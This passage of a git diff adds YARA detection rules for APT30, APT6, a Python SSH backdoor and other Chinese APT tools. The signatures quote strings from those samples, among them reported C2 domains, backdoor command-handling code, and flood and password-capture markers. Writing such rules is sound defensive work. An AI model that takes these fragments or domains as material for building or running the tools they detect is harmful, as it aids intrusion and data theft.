+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "44a21c8b3147fabc668fee968b62783aa9d90351"
+	strings:
+		$s1 = "C:\\WINDOWS" fullword ascii
+		$s2 = "aragua" fullword ascii
+		$s4 = "\\driver32\\7$" fullword ascii
+		$s8 = "System V" fullword ascii
+		$s9 = "Compu~r" fullword ascii
+		$s10 = "PROGRAM L" fullword ascii
+		$s18 = "GPRTMAX" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_26 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 428fc53c84e921ac518e54a5d055f54a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "e26588113417bf68cb0c479638c9cd99a48e846d"
+	strings:
+		$s1 = "forcegue" fullword ascii
+		$s3 = "Windows\\Cur" fullword ascii
+		$s4 = "System Id" fullword ascii
+		$s5 = "Software\\Mic" fullword ascii
+		$s6 = "utiBy0ToWideCh&$a" fullword ascii
+		$s10 = "ModuleH" fullword ascii
+		$s15 = "PeekNamed6G" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_D {
+	meta:
+		description = "FireEye APT30 Report Sample - file 597805832d45d522c4882f21db800ecf"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "35dfb55f419f476a54241f46e624a1a4"
+		hash2 = "4fffcbdd4804f6952e0daf2d67507946"
+		hash3 = "597805832d45d522c4882f21db800ecf"
+		hash4 = "6bd422d56e85024e67cc12207e330984"
+		hash5 = "82e13f3031130bd9d567c46a9c71ef2b"
+		hash6 = "b79d87ff6de654130da95c73f66c15fa"
+	strings:
+		$s0 = "Windows Security Service Feedback" fullword wide
+		$s1 = "wssfmgr.exe" fullword wide
+		$s2 = "\\rb.htm" fullword ascii
+		$s3 = "rb.htm" fullword ascii
+		$s4 = "cook5" ascii
+		$s5 = "5, 4, 2600, 0" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_27 {
+	meta:
+		description = "FireEye APT30 Report Sample - file d38e02eac7e3b299b46ff2607dd0f288"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "959573261ca1d7e5ddcd19447475b2139ca24fe1"
+	strings:
+		$s0 = "Mozilla/4.0" fullword ascii
+		$s1 = "dizhi.gif" fullword ascii
+		$s5 = "oftHaveAck+" ascii
+		$s10 = "HlobalAl" fullword ascii
+		$s13 = "$NtRND1$" fullword ascii
+		$s14 = "_NStartup" fullword ascii
+		$s16 = "GXSYSTEM" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_28 {
+	meta:
+		description = "FireEye APT30 Report Sample - file e62a63307deead5c9fcca6b9a2d51fb0"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "e62a63307deead5c9fcca6b9a2d51fb0"
+		hash2 = "5b590798da581c894d8a87964763aa8b"
+	strings:
+		$s0 = "www.flyeagles.com" fullword ascii
+		$s1 = "iexplore.exe" fullword ascii
+		$s2 = "www.km-nyc.com" fullword ascii
+		$s3 = "cmdLine.exe" fullword ascii
+		$s4 = "Software\\Microsoft\\CurrentNetInf" fullword ascii
+		$s5 = "/dizhi.gif" ascii
+		$s6 = "/connect.gif" ascii
+		$s7 = "USBTest.sys" fullword ascii
+		$s8 = "/ver.htm" fullword ascii
+		$s11 = "\\netscv.exe" fullword ascii
+		$s12 = "/app.htm" fullword ascii
+		$s13 = "\\netsvc.exe" fullword ascii
+		$s14 = "/exe.htm" fullword ascii
+		$s18 = "MicrosoftHaveAck" fullword ascii
+		$s19 = "MicrosoftHaveExit" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 7 of them
+}
+
+rule APT30_Sample_29 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 1b81b80ff0edf57da2440456d516cc90"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "44492c53715d7c79895904543843a321491cb23a"
+	strings:
+		$s0 = "LSSAS.exe" fullword ascii
+		$s1 = "Software\\Microsoft\\FlashDiskInf" fullword ascii
+		$s2 = ".petite" fullword ascii
+		$s3 = "MicrosoftFlashExit" fullword ascii
+		$s4 = "MicrosoftFlashHaveExit" fullword ascii
+		$s5 = "MicrosoftFlashHaveAck" fullword ascii
+		$s6 = "\\driver32" fullword ascii
+		$s7 = "MicrosoftFlashZJ" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_30 {
+	meta:
+		description = "FireEye APT30 Report Sample - file bf8616bbed6d804a3dea09b230c2ab0c"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "3b684fa40b4f096e99fbf535962c7da5cf0b4528"
+	strings:
+		$s0 = "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)" fullword wide
+		$s3 = "RnhwtxtkyLRRMf{jJ}ny" fullword ascii
+		$s4 = "RnhwtxtkyLRRJ}ny" fullword ascii
+		$s5 = "ZRLDownloadToFileA" fullword ascii
+		$s9 = "5.1.2600.2180" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_31 {
+	meta:
+		description = "FireEye APT30 Report Sample - file d8e68db503f4155ed1aeba95d1f5e3e4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "8b4271167655787be1988574446125eae5043aca"
+	strings:
+		$s0 = "\\ZJRsv.tem" fullword ascii
+		$s1 = "forceguest" fullword ascii
+		$s4 = "\\$NtUninstallKB570317$" fullword ascii
+		$s8 = "[Can'tGetIP]" fullword ascii
+		$s14 = "QWERTY:,`/" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_J {
+	meta:
+		description = "FireEye APT30 Report Sample - file baff5262ae01a9217b10fcd5dad9d1d5"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "49aca228674651cba776be727bdb7e60"
+		hash2 = "5c7a6b3d1b85fad17333e02608844703"
+		hash3 = "649fa64127fef1305ba141dd58fb83a5"
+		hash4 = "9982fd829c0048c8f89620691316763a"
+		hash5 = "baff5262ae01a9217b10fcd5dad9d1d5"
+		hash6 = "9982fd829c0048c8f89620691316763a"
+	strings:
+		$s0 = "Launcher.EXE" fullword wide
+		$s1 = "Symantec Security Technologies" fullword wide
+		$s2 = "\\Symantec LiveUpdate.lnk" fullword ascii
+		$s3 = "Symantec Service Framework" fullword wide
+		$s4 = "\\ccSvcHst.exe" fullword ascii
+		$s5 = "\\wssfmgr.exe" fullword ascii
+		$s6 = "Symantec Corporation" fullword wide
+		$s7 = "\\5.1.0.29" fullword ascii
+		$s8 = "\\Engine" fullword ascii
+		$s9 = "Copyright (C) 2000-2010 Symantec Corporation. All rights reserved." fullword wide
+		$s10 = "Symantec LiveUpdate" fullword ascii
+		$s11 = "\\Norton360" fullword ascii
+		$s15 = "BinRes" fullword ascii
+		$s16 = "\\readme.lz" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Microfost {
+	meta:
+		description = "FireEye APT30 Report Sample - file 310a4a62ba3765cbf8e8bbb9f324c503"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "57169cb4b8ef7a0d7ebd7aa039d1a1efd6eb639e"
+	strings:
+		$s1 = "Copyright (c) 2007 Microfost All Rights Reserved" fullword wide
+		$s2 = "Microfost" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_K {
+	meta:
+		description = "FireEye APT30 Report Sample - file b5a343d11e1f7340de99118ce9fc1bbb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "142bc01ad412799a7f9ffed994069fecbd5a2f93"
+	strings:
+		$x1 = "Maybe a Encrypted Flash" fullword ascii
+	
+		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+		$s1 = "\\TEMP\\" fullword ascii
+		$s2 = "\\Temporary Internet Files\\" fullword ascii
+		$s5 = "%s Size:%u Bytes" fullword ascii
+		$s7 = "$.DATA$" fullword ascii
+		$s10 = "? Size:%u By s" fullword ascii
+		$s12 = "Maybe a Encrypted Flash" fullword ascii
+		$s14 = "Name:%-32s" fullword ascii
+		$s15 = "NickName:%-32s" fullword ascii
+		$s19 = "Email:%-32s" fullword ascii
+		$s21 = "C:\\Prog" ascii
+		$s22 = "$LDDATA$" ascii
+		$s31 = "Copy File %s OK!" fullword ascii
+		$s32 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s34 = "open=%s" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and ( all of ($x*) and 3 of ($s*) )
+}
+
+rule APT30_Sample_33 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 5eaf3deaaf2efac92c73ada82a651afe"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "72c568ee2dd75406858c0294ccfcf86ad0e390e4"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "msmsgr.exe" fullword wide
+		$s2 = "MYUSER32.dll" fullword ascii
+		$s3 = "MYADVAPI32.dll" fullword ascii
+		$s4 = "CeleWare.NET1" fullword ascii
+		$s6 = "MYMSVCRT.dll" fullword ascii
+		$s7 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the" wide
+		$s8 = "WWW.CeleWare.NET1" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 6 of them
+}
+
+rule APT30_Sample_34 {
+	meta:
+		description = "FireEye APT30 Report Sample - file a9e8e402a7ee459e4896d0ba83543684"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "216868edbcdd067bd2a9cce4f132d33ba9c0d818"
+	strings:
+		$s0 = "dizhi.gif" ascii
+		$s1 = "eagles.vip.nse" ascii
+		$s4 = "o%S:S0" ascii
+		$s5 = "la/4.0" ascii
+		$s6 = "s#!<4!2>s02==<'s1" ascii
+		$s7 = "HlobalAl" ascii
+		$s9 = "vcMicrosoftHaveAck7"  ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_35 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 414854a9b40f7757ed7bfc6a1b01250f"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "df48a7cd6c4a8f78f5847bad3776abc0458499a6"
+	strings:
+		$s0 = "WhBoyIEXPLORE.EXE.exe" fullword ascii
+		$s5 = "Startup>A" fullword ascii
+		$s18 = "olhelp32Snapshot" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_1 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 4c6b21e98ca03e0ef0910e07cef45dac"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "8cea83299af8f5ec6c278247e649c9d91d4cf3bc"
+	strings:
+		$s0 = "#hostid" fullword ascii
+		$s1 = "\\Windows\\C" ascii
+		$s5 = "TimUmove" fullword ascii
+		$s6 = "Moziea/4.0 (c" fullword ascii
+		$s7 = "StartupNA" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_1 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 08b54f9b2b3fb19e388d390d278f3e44, 11876eaadeac34527c28f4ddfadd1e8d, 28f2396a1e306d05519b97a3a46ee925, 80e39b656f9a77503fa3e6b7dd123ee3, d591dc11ecffdfaf1626c1055417a50d, 8e2eee994cd1922e82dea58705cc9631, e9e514f8b1561011b4f034263c33a890"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "aaa5c64200ff0818c56ebe4c88bcc1143216c536"
+		hash1 = "cb4263cab467845dae9fae427e3bbeb31c6a14c2"
+		hash2 = "b69b95db8a55a050d6d6c0cba13d73975b8219ca"
+		hash3 = "5c29e21bbe8873778f9363258f5e570dddcadeb9"
+		hash4 = "d5cb07d178963f2dea2c754d261185ecc94e09d6"
+		hash5 = "626dcdd7357e1f8329e9137d0f9883f57ec5c163"
+		hash6 = "843997b36ed80d3aeea3c822cb5dc446b6bfa7b9"
+	strings:
+		$s0 = "%s\\%s.txt" fullword
+		$s1 = "\\ldsysinfo.txt" fullword
+		$s4 = "(Extended Wansung)" fullword
+		$s6 = "Computer Name:" fullword
+		$s7 = "%s %uKB %04u-%02u-%02u %02u:%02u" fullword
+		$s8 = "ASSAMESE" fullword
+		$s9 = "BELARUSIAN" fullword
+		$s10 = "(PR China)" fullword
+		$s14 = "(French)" fullword
+		$s15 = "AdvancedServer" fullword
+		$s16 = "DataCenterServer" fullword
+		$s18 = "(Finland)" fullword
+		$s19 = "%s %04u-%02u-%02u %02u:%02u" fullword
+		$s20 = "(Chile)" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Generic_2 {
+	meta:
+		description = "FireEye APT30 Report Sample - from many files"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "aba8b9fa213e5e2f1f0404d13fecc20ea8651b57"
+		hash1 = "7f11f5c9475240e5dd2eea7726c9229972cffc1f"
+		hash2 = "94d3f91d1e50ecea729617729013c3d143bf2c3e"
+		hash3 = "7e516ec04f28c76d67b8111ddfe58bbd628362cc"
+		hash4 = "6b27bc0b0460b0a25b45d897ed4f399106c284d9"
+		hash5 = "6df5b4b3da0964153bad22fb1f69483ae8316655"
+		hash6 = "b68bce61dfd8763c3003480ba4066b3cb1ef126e"
+		hash7 = "cc124682246d098740cfa7d20aede850d49b6597"
+		hash8 = "1ef415bca310575944934fc97b0aa720943ba512"
+		hash9 = "0559ab9356dcc869da18b2c96f48b76478c472b3"
+		hash10 = "f15272042a4f9324ad5de884bd50f4072f4bdde3"
+		hash11 = "1d93d5f5463cdf85e3c22c56ed1381957f4efaac"
+		hash12 = "b6f1fb0f8a2fb92a3c60e154f24cfbca1984529f"
+		hash13 = "9967a99a1b627ddb6899919e32a0f544ea498b48"
+		hash14 = "95a3c812ca0ad104f045b26c483495129bcf37ca"
+		hash15 = "bde9a72b2113d18b4fa537cc080d8d8ba1a231e8"
+		hash16 = "ce1f53e06feab1e92f07ed544c288bf39c6fce19"
+		hash17 = "72dae031d885dbf492c0232dd1c792ab4785a2dc"
+		hash18 = "a2ccba46e40d0fb0dd3e1dba160ecbb5440862ec"
+		hash19 = "c8007b59b2d495029cdf5b7b8fc8a5a1f7aa7611"
+		hash20 = "9c6f470e2f326a055065b2501077c89f748db763"
+		hash21 = "af3e232559ef69bdf2ee9cd96434dcec58afbe5a"
+		hash22 = "e72e67ba32946c2702b7662c510cc1242cffe802"
+		hash23 = "8fc0b1618b61dce5f18eba01809301cb7f021b35"
+		hash24 = "6a8159da055dac928ba7c98ea1cdbe6dfb4a3c22"
+		hash25 = "47463412daf0b0a410d3ccbb7ea294db5ff42311"
+		hash26 = "e6efa0ccfddda7d7d689efeb28894c04ebc72be2"
+		hash27 = "43a3fc9a4fee43252e9a570492e4efe33043e710"
+		hash28 = "7406ebef11ca9f97c101b37f417901c70ab514b1"
+		hash29 = "53ed9b22084f89b4b595938e320f20efe65e0409"
+	strings:
+		$s0 = "%s\\%s\\KB985109.log" fullword
+		$s1 = "%s\\%s\\KB989109.log" fullword
+		$s2 = "Opera.exe" fullword wide
+		$s3 = "%s:All online success on %u!" fullword
+		$s4 = "%s:list online success on %u!" fullword
+		$s5 = "%s:All online fail!" fullword
+		$s6 = "Copyright Opera Software 1995-" fullword wide
+		$s7 = "%s:list online fail!" fullword
+		$s8 = "OnlineTmp.txt" fullword
+		$s9 = "Opera Internet Browser" fullword wide
+		$s12 = "Opera Software" fullword wide
+		$s15 = "Check lan have done!!!" fullword
+		$s16 = "List End." fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_3 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 6e689351d94389ac6fdc341b859c7f6f, a813eba27b2166620bd75029cc1f04b0, b4ae0004094b37a40978ef06f311a75e"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b90ac3e58ed472829e2562023e6e892d2d61ac44"
+		hash1 = "342036ace2e9e6d504b0dec6399e4fa92de46c12"
+		hash2 = "5cdf397dfd9eb66ff5ff636777f6982c1254a37a"
+	strings:
+		$s0 = "Acrobat.exe" fullword wide
+		$s14 = "********************************" fullword
+		$s16 = "FFFF:>>>>>>>>>>>>>>>>>@" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_4 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 021e134c48cd9ce9eaf6a1c105197e5d, 7c307ca84f922674049c0c43ca09bec1, b8617302180d331e197cc0433fc5023d, e6289e7f9f26be692cbe6f335a706014"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "bb390f99bfde234bbed59f6a0d962ba874b2396c"
+		hash1 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash2 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash3 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
+	strings:
+		$s0 = "del NetEagle_Scout.bat" fullword
+		$s1 = "NetEagle_Scout.bat" fullword
+		$s2 = "\\visit.exe" fullword
+		$s3 = "\\System.exe" fullword
+		$s4 = "\\System.dat" fullword
+		$s5 = "\\ieupdate.exe" fullword
+		$s6 = "GOTO ERROR" fullword
+		$s7 = ":ERROR" fullword
+		$s9 = "IF EXIST " fullword
+		$s10 = "ioiocn" fullword
+		$s11 = "SetFileAttribute" fullword
+		$s12 = "le_0*^il" fullword
+		$s13 = "le_.*^il" fullword
+		$s14 = "le_-*^il" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_5 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 592381dfa14e61bce089cd00c9b118ae, b493ad490b691b8732983dcca8ea8b6f, b83d43e3b2f0b0a0e5cc047ef258c2cb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "cb4833220c508182c0ccd4e0d5a867d6c4e675f8"
+		hash1 = "dfc9a87df2d585c479ab02602133934b055d156f"
+		hash2 = "bf59d5ff7d38ec5ffb91296e002e8742baf24db5"
+	strings:
+		$s0 = "regsvr32 /s \"%ProgramFiles%\\Norton360\\Engine\\5.1.0.29\\ashelper.dll\"" fullword
+		$s1 = "name=\"ftpserver.exe\"/>" fullword
+		$s2 = "LiveUpdate.EXE" fullword wide
+		$s3 = "<description>FTP Explorer</description>" fullword
+		$s4 = "\\ashelper.dll" fullword
+		$s5 = "LiveUpdate" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_6 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 168d207d0599ed0bb5bcfca3b3e7a9d3, 1e6ee89fddcf23132ee12802337add61, 5dd625af837e164dd2084b1f44a45808"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b9aafb575d3d1732cb8fdca5ea226cebf86ea3c9"
+		hash1 = "2c5e347083b77c9ead9e75d41e2fabe096460bba"
+		hash2 = "5d39a567b50c74c4a921b5f65713f78023099933"
+	strings:
+		$s0 = "GetStar" fullword
+		$s1 = ".rdUaS" fullword
+		$s2 = "%sOTwp/&A\\L" fullword
+		$s3 = "a Encrt% Flash Disk" fullword
+		$s4 = "ypeAutoRuChec" fullword
+		$s5 = "NoDriveT" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_7 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 853a20f5fc6d16202828df132c41a061, 9c0cad1560cd0ffe2aa570621ef7d0a0, b590c15499448639c2748ff9e0d214b2"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "2415f661046fdbe3eea8cd276b6f13354019b1a6"
+		hash1 = "e814914079af78d9f1b71000fee3c29d31d9b586"
+		hash2 = "0263de239ccef669c47399856d481e3361408e90"
+	strings:
+		$s1 = "Xjapor_*ata" fullword
+		$s2 = "Xjapor_o*ata" fullword
+		$s4 = "Ouopai" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Generic_8 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 7c307ca84f922674049c0c43ca09bec1, b8617302180d331e197cc0433fc5023d, e6289e7f9f26be692cbe6f335a706014"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash1 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash2 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
+	strings:
+		$s0 = "Windows NT4.0" fullword
+		$s1 = "Windows NT3.51" fullword
+		$s2 = "%d;%d;%d;%ld;%ld;%ld;" fullword
+		$s3 = "%s %d.%d Build%d %s" fullword
+		$s4 = "MSAFD Tcpip [TCP/IP]" fullword
+		$s5 = "SQSRSS" fullword
+		$s8 = "WM_COMP" fullword
+		$s9 = "WM_MBU" fullword
+		$s11 = "WM_GRID" fullword
+		$s12 = "WM_RBU" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_9 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 0cdc35ffc222a714ee138b57d29c8749, 10aa368899774463a355f1397e6e5151, 3166baffecccd0934bdc657c01491094, d28d67b4397b7ce1508d10bf3054ffe5"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "00d9949832dc3533592c2ce06a403ef19deddce9"
+		hash1 = "27a2b981d4c0bb8c3628bfe990db4619ddfdff74"
+		hash2 = "05f66492c163ec2a24c6a87c7a43028c5f632437"
+		hash3 = "263f094da3f64e72ef8dc3d02be4fb33de1fdb96"
+	strings:
+		$s0 = "%s\\%s\\$NtRecDoc$" fullword
+		$s1 = "%s(%u)%s" fullword
+		$s2 = "http://%s%s%s" fullword
+		$s3 = "1.9.1.17" fullword wide
+		$s4 = "(C)Firefox and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL" wide
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/apt_apt6_malware.yar b/yara-mikesxrs/Florian Roth/apt_apt6_malware.yar
new file mode 100644
index 0000000..b04bc46
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_apt6_malware.yar	
@@ -0,0 +1,53 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-09
+	Identifier: APT 6 Malware
+*/
+
+rule APT6_Malware_Sample_Gen {
+	meta:
+		description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
+		author = "Florian Roth"
+		reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
+		date = "2016-04-09"
+		score = 80
+		hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
+		hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
+	strings:
+		/* Specific strings from samples */
+		$x1 = "SystemPropertiesRemote.exe" fullword ascii
+		$x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
+		$x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
+
+		/* Malware Strings */
+		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
+		$s2 = "DUMPTHIN" fullword ascii
+		$s3 = "\"C:\\WINDOWS\\system32\\" fullword ascii
+		$s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
+		$s5 = "/tbedrs.dll" fullword ascii
+		$s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
+		$s7 = "NSIS_Inetc (Mozilla)" fullword ascii
+		$s8 = "/logos.gif" fullword ascii
+		$s9 = "synflood" fullword ascii
+		$s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
+		$s11 = "udpflood" fullword ascii
+		$s12 = "shellcode" fullword ascii
+		$s13 = "&PassWord=" fullword ascii
+		$s14 = "SystemPropertiesProtection.exe" fullword ascii
+
+		/* C2 Server user by APT 6 group */
+		$c1 = "jobcall.org" ascii
+		$c2 = "sportsinfinite.com" ascii
+		$c3 = "milsatcom.us" ascii
+		$c4 = "geographicphotographer.com" ascii
+		$c5 = "snowsmooth.com" ascii
+		$c6 = "goodre.net" ascii
+		$c7 = "gloflabs.com" ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 1000KB and
+			( 1 of ($x*) or 1 of ($c*) or 3 of ($s*) )
+		) or
+		( 6 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_backdoor_ssh_python.yar b/yara-mikesxrs/Florian Roth/apt_backdoor_ssh_python.yar
new file mode 100644
index 0000000..f687c74
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_backdoor_ssh_python.yar	
@@ -0,0 +1,18 @@
+
+rule custom_ssh_backdoor_server {
+	meta:
+		description = "Custome SSH backdoor based on python and paramiko - file server.py"
+		author = "Florian Roth"
+		reference = "https://goo.gl/S46L3o"
+		date = "2015-05-14"
+		hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
+	strings:
+		$s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
+		$s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
+		$s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii
+		$s3 = "chan.send(command)" fullword ascii
+		$s4 = "print '[-] SSH negotiation failed.'" fullword ascii
+		$s5 = "except paramiko.SSHException, x:" fullword ascii
+	condition:
+		filesize < 10KB and 5 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_backspace.yar b/yara-mikesxrs/Florian Roth/apt_backspace.yar
new file mode 100644
index 0000000..9bc2a91
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_backspace.yar	
@@ -0,0 +1,18 @@
+/*
+Author: Bit Byte Bitten
+Date: 5/14/2015
+*/
+
+rule apt_backspace{
+	meta:
+		description = "Detects APT backspace"
+		author = "Bit Byte Bitten"
+		date = "2015-05-14"
+		hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
+	strings:
+		$s1 = "!! Use Splice Socket !!"
+		$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
+		$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_beepservice.yar b/yara-mikesxrs/Florian Roth/apt_beepservice.yar
new file mode 100644
index 0000000..5dbfd71
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_beepservice.yar	
@@ -0,0 +1,29 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-12
+	Identifier:
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule BeepService_Hacktool {
+	meta:
+		description = "Detects BeepService Hacktool used by Chinese APT groups"
+		author = "Florian Roth"
+		reference = "https://goo.gl/p32Ozf"
+		date = "2016-05-12"
+		score = 85
